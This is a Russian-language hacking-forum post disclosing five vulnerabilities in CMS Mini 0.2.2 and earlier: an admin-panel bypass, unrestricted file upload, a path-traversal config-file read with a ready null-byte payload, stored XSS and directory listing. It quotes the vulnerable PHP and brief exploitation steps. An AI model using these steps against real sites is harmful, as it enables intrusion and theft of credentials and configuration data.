Показать сообщение отдельно

  #149  
Старый 23.08.2009, 00:16
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Продукт: CMS Mini
Версия: <= 0.2.2
Оффсайт: cmsmini.it
Скачать: http://sourceforge.net/projects/cmsmini/


Уязвимость №1:
Проникновение в админ-панель.

Уязвимость существует из-за недостаточной фильтрации данных.

Уязвимый код:
Код:
/admin/check.php
PHP код:
if ($_SESSION['cmsmini_login'] != 1header('location: login.php'); 
Если параметр cmsmini_login отличен от еденици, сервер отправляет заголовок Location: login.php. Но выполнения скрипта не останавливается. Это всего лишь браузер воспринимает заголовк как редирект.

Эксплуатация:
Для эксплуатации уязвимости необходимо использовать сниффер отправленых пакетов. После открытия страницы /admin/index.php, сниффер получит заголовки вида:
Код:
HTTP/1.1 302 Found
Date: Sat, 22 Aug 2009 19:16:45 GMT
Server: Apache/2.2.11 (Win32) PHP/5.2.9-2
X-Powered-By: PHP/5.2.9-2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Transfer-Encoding: chunked
Content-Type: text/html
Кроме них в сниффере можно увидеть тело админки. Неудобная, но все же уязвимость.

Уязвимость №2:
Заливка файла произвольного расширения.

Уязвимость существует из-за отсутствия фильтрации/проверки расширения файла.

Уязвимый код:
Код:
/admin/index.php
PHP код:
    case 'newimage':
      
$imagefile $_FILES['imagefile'];
      if( 
is_uploaded_file($imagefile['tmp_name']) ) new_image($imagefile$dirpath);
      else die(
'image upload failed...');
      break; 
Код:
/admin/functions.php
PHP код:
function new_image($imagefile$dirpath){
  
$name $imagefile['name'];
  
$filename $dirpath.'/'.$name;
  
$dirlist $dirpath.'/dir.list';
  
$new_row $name.'|'.$name.'|0|';
  
move_uploaded_file($imagefile['tmp_name'], $filename);
  
in_dirlist($dirlist$new_row);
  } 
Эксплуатация:
Залить любой файл в поле Image.


Уязвимость №3:
Читалка файлов.

Уязвимость существует из-за отсутствия фильтрации входящих данных в параметре path.

Уязвимый код:
Код:
/admin/index.php
PHP код:
$subpath $_GET['path'];
if( 
$subpath )
  
$dirpath '../pages/'.$subpath;
...
$dirlist $dirpath.'/dir.list';
...
$rows file($dirlist);
...
$n count($rows);
...
for( 
$i=0$i<$n$i++ ){
//тут много echo с выводом файла 
Эксплуатация:
Код:
/admin/index.php?path=../admin/config.php%00
Уязвимость №4:
Активная XSS.

Уязвимость существует из-за отсутствия фильтрации входящих данных.

Уязвимый код:
Код:
/admin/index.php
PHP код:
echo $title.'</span>'
Эксплуатация:
HTML-код в поле Page/Folder -> create new page / create new folder.

Уязвимость №5:
"Листинг" директорий.

Уязвимость существует из-за отсутствия запрета на чтение файла со списком файлов/директрий.

Код:
/folder/dir.list
© mailbrush

Это не все дырки этой CMS...
 
Ответить с цитированием